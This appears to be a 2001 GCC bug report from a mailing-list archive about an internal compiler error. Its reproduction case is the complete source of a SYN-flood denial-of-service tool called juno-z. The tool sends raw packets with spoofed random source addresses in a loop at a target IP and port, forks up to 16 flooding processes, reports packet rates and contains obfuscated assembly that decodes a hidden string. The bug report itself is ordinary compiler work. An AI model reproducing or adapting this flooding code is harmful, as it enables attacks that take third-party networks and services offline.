public inbox for gcc-prs@sourceware.org
help / color / mirror / Atom feed
* c/3235: Internal compiler error in instantiate_virtual_regs_1
@ 2001-06-18 12:36 Sullivan.DanielJ
  0 siblings, 0 replies; only message in thread
From: Sullivan.DanielJ @ 2001-06-18 12:36 UTC (permalink / raw)
  To: gcc-gnats; +Cc: Sullivan.DanielJ

>Number:         3235
>Category:       c
>Synopsis:       Internal compiler error in instantiate_virtual_regs_1
>Confidential:   no
>Severity:       critical
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Arrival-Date:   Mon Jun 18 12:36:02 PDT 2001
>Closed-Date:
>Last-Modified:
>Originator:     Dan Sullivan
>Release:        3.0
>Organization:
Lockheed MArtin @ U.S. EPA
>Environment:
System: SunOS bubbles.rtpnc.epa.gov 5.7 Generic sun4u sparc SUNW,Ultra-5_10
Architecture: sun4

host: sparc-sun-solaris2.7
build: sparc-sun-solaris2.7
target: sparc-sun-solaris2.7
configured with: ../gcc-3.0/configure --disable-nls
>Description:

gcc -v -save-temps -Wall -c juno-z.101f.c
juno-z.101f.c: In function `pf':
juno-z.101f.c:178: Internal compiler error in instantiate_virtual_regs_1, at function.c:3904


>How-To-Repeat:
# 26 "juno-z.101f.c"
struct timespec {long sec,nsec;};
struct timeval {long tv_sec,tv_usec;};
# 50 "juno-z.101f.c"
static int ultodec(const unsigned long n,char *buf) {
  unsigned long d=1000000000,v=n;
  int r;
  char *p=buf;

  do {
    if (v/d) break;
  } while (d/=10);

  if (!d) *p++='0';
  else do {
    r=v/d;
    *p++='0'+r;
    v-=(r*d);
  } while(d/=10);
  *p=0;
  return((int)p-(int)buf);
}

static int ulltodec(const unsigned long long n,char *buf) {
  unsigned long long d=1000000000L,v=n;
  int r;
  char *p=buf;

  d*=10000000000L;

  do {
    if (v/d) break;
  } while (d/=10);

  if (!d) *p++='0';
  else do {
    r=v/d;
    *p++='0'+r;
    v-=(r*d);
  } while(d/=10);
  *p=0;
  return((int)p-(int)buf);
}

static int inttodec(const unsigned long n,char *buf) {
  unsigned long d=1000000000,v=n;
  int r;
  char *p=buf;

  if (v&0x80000000) {
    *p++='-';
    v=((v&0x7fffffff)^0x7fffffff)+1;
  }

  do {
    if (v/d) break;
  } while (d/=10);

  if (!d) *p++='0';
  else do {
    r=v/d;
    *p++='0'+r;
    v-=(r*d);
  } while(d/=10);
  *p=0;
  return((int)p-(int)buf);
}

static unsigned long dectoul(const char *buf) {
  int p=0;
  unsigned long v=0;
  char nc;

  while ((nc=buf[p++])) {
    if ((nc<'0') || (nc>'9')) return(-1);
    v=(v*10)+(nc-'0');
  }
  if (p==1) return(-1);
  return(v);
}

static unsigned long long dectoull(const char *buf) {
  int p=0;
  unsigned long long v=0;
  char nc;

  while ((nc=buf[p++])) {
    if ((nc<'0') || (nc>'9')) return(-1);
    v=(v*10)+(nc-'0');
  }
  if (p==1) return(-1);
  return(v);
}

static int pf(int fd,const char *fmt,...) {
  int pos=0,sc=0;
  char nc;
  int *param,*param_inval;
  char buf[1024],*bufp=buf;




  if ((int)param>(int)param_inval) return(-1);

  while ((nc=fmt[pos++])) {
    if (sc==1) {
      sc=0;
      if (nc=='U') {
        if (param==param_inval) return(-1);
        bufp+=ulltodec(*((unsigned long long *)param++),bufp);
        continue;
      }
      if (nc=='d') {
        if (param==param_inval) return(-1);
        bufp+=inttodec(*param++,bufp);
        continue;
      }
      if (nc=='s') {
        if (param==param_inval) return(-1);
        bufp+=({int r;asm volatile("pushl %%edi;pushl %%esi;0:;lodsb;stosb;orb %%al,%%al;jnz 0b;movl %%esi,%%eax;popl %%esi;subl %%esi,%%eax;decl %%eax;popl %%edi":"=a"(r):"D"(bufp),"S"((void *)*param++));r;});
        continue;
      }
    }
    if (nc=='%') {
      sc=1;
      continue;
    }
    *bufp++=nc;
  }
  *bufp++=0;
  ({int r;asm volatile("int $128":"=a"(r):"a"(4),"b"((int)fd),"c"((void *)buf),"d"((int)(int)bufp-(int)buf));r;});
}

static long long rndseed=0;
# 189 "juno-z.101f.c"
struct sockaddr_in {
  unsigned short family;
  unsigned short port;
  unsigned long addr;
  unsigned char filler[8];
};



static unsigned long inet_addr(const char *ipstr) {
  int p=0,cc=0;
  char nc;
  unsigned long ip,s=0;
  unsigned short v=0;

  if ((ip=dectoul(ipstr))==-1) {
    ip=0;

    while ((nc=ipstr[p++])) {
      if (nc=='.') {
        if (!cc) return(-1);
        if (s==24) return(-1);
        ip|=(v<<s);
        s+=8;
        cc=0;
        v=0;
        continue;
      }
      if (cc==3) return(-1);
      if (cc==2) if (!v) return(-1);
      cc++;
      if ((nc<'0') || (nc>'9')) return(-1);
      if ((v=(v*10)+(nc-'0'))>255) return(-1);
    }
    if (!cc) return(-1);
    if (s!=24) return(-1);
    ip|=(v<<24);
  }

  return(ip);
}

static char inet_ntoa_buf[16];

static char *inet_ntoa(unsigned long ip) {
  char *buf = inet_ntoa_buf;

  buf+=ultodec(ip&0xff,buf);
  *buf++='.';
  buf+=ultodec((ip>>8)&0xff,buf);
  *buf++='.';
  buf+=ultodec((ip>>16)&0xff,buf);
  *buf++='.';
  ultodec(ip>>24,buf);
  return(inet_ntoa_buf);
}




struct iphdr {
  unsigned char verihl;
  unsigned char tos;
  unsigned short len;
  unsigned short id;
  unsigned short flg_ofs;
  unsigned char ttl;
  unsigned char proto;
  unsigned short sum;
  unsigned long src;
  unsigned long dst;
};

struct tcphdr {
  unsigned short sport;
  unsigned short dport;
  unsigned long seq;
  unsigned long ackseq;
  unsigned char thl;
  unsigned char flags;
  unsigned short win;
  unsigned short sum;
  unsigned short urgptr;
};

struct {
  struct iphdr ip;
  struct tcphdr tcp;
  unsigned long opt[2];
} syn = {
  ip:{
    verihl:(69),
    len:((((48>>8)&0xff)|((48&0xff)<<8))),
    flg_ofs:(64),
    ttl:(128),
    proto:(6)
  },
  tcp:{
    thl:(28<<2),
    flags:(2),
    win:(((16384>>8)&0xff)|((16384&0xff)<<8))
  },
  opt:{0xb4050402,0x3040201}
};







int childpid[15],childcount=0,mainthread=1,killed=0;

long long sendcount=0,starttime=0;

void cleanup_children(void) {
  while(childcount--) ({int r;asm volatile("int $128":"=a"(r):"a"(37),"b"((int)childpid[childcount]),"c"((int)1));r;});
  childcount=0;
}

void handle_signal(int signum) {

  if (killed) return;

  killed=1;

  if (starttime) {
    long long elapsed=({struct timeval t={tv_sec:0,tv_usec:0};({int r;asm volatile("int $128":"=a"(r):"a"(78),"b"((struct timeval *)&t),"c"((struct timeval *)((void *)0)));r;});(long long)((((long long)t.tv_sec)*1000000)+((long long)t.tv_usec));})-starttime;

    if (!elapsed) elapsed=1;

    pf(2,"pid %d: ",({int r;asm volatile("int $128":"=a"(r):"a"(20));r;}));
    pf(2,"ran for %Us, ",elapsed/1000000);
    pf(2,"%U packets out, ",sendcount);
    pf(2,"%U bytes/s\n",(sendcount*48000000)/elapsed);
  }

  if (mainthread) {
    cleanup_children();
    ({struct timespec req;req.sec=2000000000L/1000000000L;req.nsec=2000000000L -((2000000000L/1000000000L)*1000000000L);({int r;asm volatile("int $128":"=a"(r):"a"(162),"b"((struct timespec *)&req),"c"((struct timespec *)((void *)0)));r;});});
    pf(2,"aborting due to signal %d\n",signum);
  }

  ({int r;asm volatile("int $128":"=a"(r):"a"(1),"b"((int)32+signum));r;});
}

unsigned char vc[16] = {4,24,64,128,129,193,194,198,199,205,206,208,209,210,211,216};




int main(int argc,char **argv) {
  int fd,presum,portmask,dport;
  struct sockaddr_in dst;
  long long delay=10000000;

  {int n;for (n=1;n<32;n++) ({int r;asm volatile("int $128":"=a"(r):"a"(48),"b"((int)n),"c"((void (*)(int))handle_signal));r;});}

  if (!argc) return(1);

  if ((fd=({int a[3];a[0]=2;a[1]=3;a[2]=6;({int r;asm volatile("int $128":"=a"(r):"a"(102),"b"(1),"c"(a));r;});}))<0) {
    pf(2,"error %d while creating socket\n",fd);
    return(2);
  }

  {
    int one=1;

    if ((one=({int a[5];a[0]=fd;a[1]=0;a[2]=3;a[3]=(int)&one;a[4]=sizeof(one);({int r;asm volatile("int $128":"=a"(r):"a"(102),"b"(14),"c"(a));r;});}))) {
      pf(2,"error %d while enabling IP_HDRINCL\n",one);
      return(3);
    }
  }

  if (argc<3) {
    pf(2,"%s <ip> <port (0=rnd)> [ns (1s/10^9) delay] [threads (dfl:1)]\n",argv[0]);
    return(4);
  }

  if ((syn.ip.dst=dst.addr=inet_addr(argv[1]))==-1) {
    pf(2,"invalid ip: %s\n",argv[1]);
    return(5);
  }

  { unsigned char c=dst.addr&0xff;int n; for (n=0;n<16;n++) if (vc[n]==c) {vc[n]=202;break;} };

  {
    int dstport;

    do {
      if ((dstport=dectoul(argv[2]))!=-1)
        if (!(dstport&0xffff0000)) break;
      pf(2,"invalid port: %s\n",argv[2]);
      return(6);
    } while(0);

    if ((dst.port=(((dstport>>8)&0xff)|((dstport&0xff)<<8)))) {
      dport=dst.port;
      portmask=0xffffff;
    } else {
      dport=(((1024>>8)&0xff)|((1024&0xff)<<8));
      portmask=0xffffffff;
    }
  }

  dst.family=2;

  if (argc>3) {

    if ((delay=dectoull(argv[3]))==-1) {
      pf(2,"invalid delay: %s\n",argv[3]);
      return(7);
    }
  }

  presum=(dst.addr&0xffff)+(dst.addr>>16)+29310;
  presum=((presum>>16)+(presum&0xffff));
  presum=((presum>>16)+presum);

  asm volatile("jmp 0f;2:;call 3f;0:;pushl %%edi;pushl %%esi;pushl %%edx;pushl %%ecx;pushl %%ebx;clc;1:;lodsw;adcw %%ax,%%dx;loop 1b;nop;nop;nop;nop;adcw $0,%%dx;pushl %%edx;movl $1044128573,%%edx;jmp 2b;3:;popl %%esi;movl %%esp,%%edi;subl $21,%%edi;movl %%edi,%%ecx;lodsl;xorl %%edx,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-834108802,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1027902650,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-203227222,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1595534091,%%eax;xorl %%eax,%%edx;stosl;movb $10,%%al;movl %%edx,%%esi;stosb;movl $4,%%eax;movl $2,%%ebx;movl $21,%%edx;int $128;movl %%esi,%%eax;movl %%eax,%%edx;shrl $16,%%eax;xorw %%ax,%%dx;popl %%eax;subw %%dx,%%ax;sbbw $0,%%ax;popl %%ebx;popl %%ecx;popl %%edx;popl %%esi;popl %%edi;":"=eax"(presum):"c"(14),"d"(presum),"S"(&syn.tcp));
  syn.tcp.sport=(((1024>>8)&0xff)|((1024&0xff)<<8));
  syn.tcp.dport=dport;

  pf(1,"target=%s:%d delay=%U\n",inet_ntoa(dst.addr),(((dst.port>>8)&0xff)|((dst.port&0xff)<<8)),delay);

  if (argc>4) {

    int children,idx=0;

    if ((children=dectoul(argv[4]))==-1) {
      pf(2,"invalid thread count: %d, invalid numeric format\n",argv[4]);
      return(8);
    }
    if (children) childcount=(children-=1);
    if (children&0xfffffff0) {
      pf(2,"invalid thread count: %d, max is 16\n",argv[4]);
      return(8);
    }
    while (children--) {
      int cpid=({int r;asm volatile("int $128":"=a"(r):"a"(2));r;});

      if (cpid<0) {
        if (idx--) do {
          ({int r;asm volatile("int $128":"=a"(r):"a"(37),"b"((int)childpid[idx]),"c"((int)9));r;});
          if (idx) idx--;
        } while (idx);
        pf(2,"forking error\n");
        return(8);
      }
      if (!cpid) {
        mainthread=0;
        childcount=0;
        break;
      }
      childpid[idx++]=cpid;
    }
    if (childcount) {
      pf(1,"using %d threads, pids: %d(main)",childcount+1,({int r;asm volatile("int $128":"=a"(r):"a"(20));r;}));
      {
        int n=childcount;

        while (n--) pf(1," %d",childpid[n]);
      }
      pf(1,"\n");
    }
  }

  {
    int a[6],fails=0;

    a[0]=fd;
    a[1]=(int)&syn;
    a[2]=48;
    a[3]=0;
    a[4]=(int)&dst;
    a[5]=sizeof(dst);

    ({struct timeval t;({int r;asm volatile("int $128":"=a"(r):"a"(78),"b"((struct timeval *)&t),"c"((struct timeval *)((void *)0)));r;});rndseed^=(((long long)((({int r;asm volatile("int $128":"=a"(r):"a"(20));r;})*t.tv_sec)+(~({int r;asm volatile("int $128":"=a"(r):"a"(20));r;}))+t.tv_sec+({int r;asm volatile("int $128":"=a"(r):"a"(43),"b"((void *)((void *)0)));r;})))<<32)^((long long)(t.tv_usec^({struct timeval t={tv_sec:0,tv_usec:0};({int r;asm volatile("int $128":"=a"(r):"a"(78),"b"((struct timeval *)&t),"c"((struct timeval *)((void *)0)));r;});if ((int *)((void *)0)!=((void *)0)) *((int *)((void *)0))=t.tv_sec;t.tv_sec;})));});
    starttime=({struct timeval t={tv_sec:0,tv_usec:0};({int r;asm volatile("int $128":"=a"(r):"a"(78),"b"((struct timeval *)&t),"c"((struct timeval *)((void *)0)));r;});(long long)((((long long)t.tv_sec)*1000000)+((long long)t.tv_usec));});

    while (1) {

      asm volatile("pushl %%edx;movw %%bx,4(%%edi);movl %%eax,12(%%edi);movl %%ecx,24(%%edi);addw %%ax,%%dx;adcw %%cx,%%dx;adcw $0,%%dx;shrl $16,%%eax;shrl $16,%%ecx;addw %%ax,%%dx;adcw %%cx,%%dx;adcw $0,%%dx;shrl $16,%%ebx;xorb %%cl,%%cl;movb %%bl,%%ch;movw 20(%%edi),%%ax;xorw %%cx,%%ax;movw %%ax,20(%%edi);movw 22(%%edi),%%cx;xorb %%bl,%%bl;xorw %%bx,%%cx;movw %%cx,22(%%edi);addw %%ax,%%dx;adcw %%cx,%%dx;adcw $0,%%dx;xorw $65535,%%dx;movw %%dx,36(%%edi);popl %%edx"::"a"(({ int r; unsigned char c; r=({rndseed=(rndseed*17261911911134212L)+rndseed+9997826119244517L;(int)rndseed;}); if ((c=(r>>24))&0xfe) c-=2; ((c+1)<<24)|(r&0x00ffff00)|(vc[r&0xf]); })),"b"(({rndseed=(rndseed*17261911911134212L)+rndseed+9997826119244517L;(int)rndseed;})&portmask),"c"(({rndseed=(rndseed*17261911911134212L)+rndseed+9997826119244517L;(int)rndseed;})),"d"(presum),"D"(&syn));

      if (({int r;asm volatile("int $128":"=a"(r):"a"(102),"b"(11),"c"(a));r;})!=48) {

        if (fails++>3) {
          int n;
          asm("":"=a"(n));
          pf(2,"pid %d: error %d while sending packet\n",({int r;asm volatile("int $128":"=a"(r):"a"(20));r;}),n);
          ({int r;asm volatile("int $128":"=a"(r):"a"(37),"b"((int)0),"c"((int)1));r;});
          return(10);
        }

      } else {
        fails=0;
        sendcount++;
      }

      if (delay) ({struct timespec req;req.sec=delay/1000000000L;req.nsec=delay-((delay/1000000000L)*1000000000L);({int r;asm volatile("int $128":"=a"(r):"a"(162),"b"((struct timespec *)&req),"c"((struct timespec *)((void *)0)));r;});});
    }
  }

  return(0);
}
>Fix:
	No work-around is known.
>Release-Note:
>Audit-Trail:
>Unformatted:


^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2001-06-18 12:36 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2001-06-18 12:36 c/3235: Internal compiler error in instantiate_virtual_regs_1 Sullivan.DanielJ

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).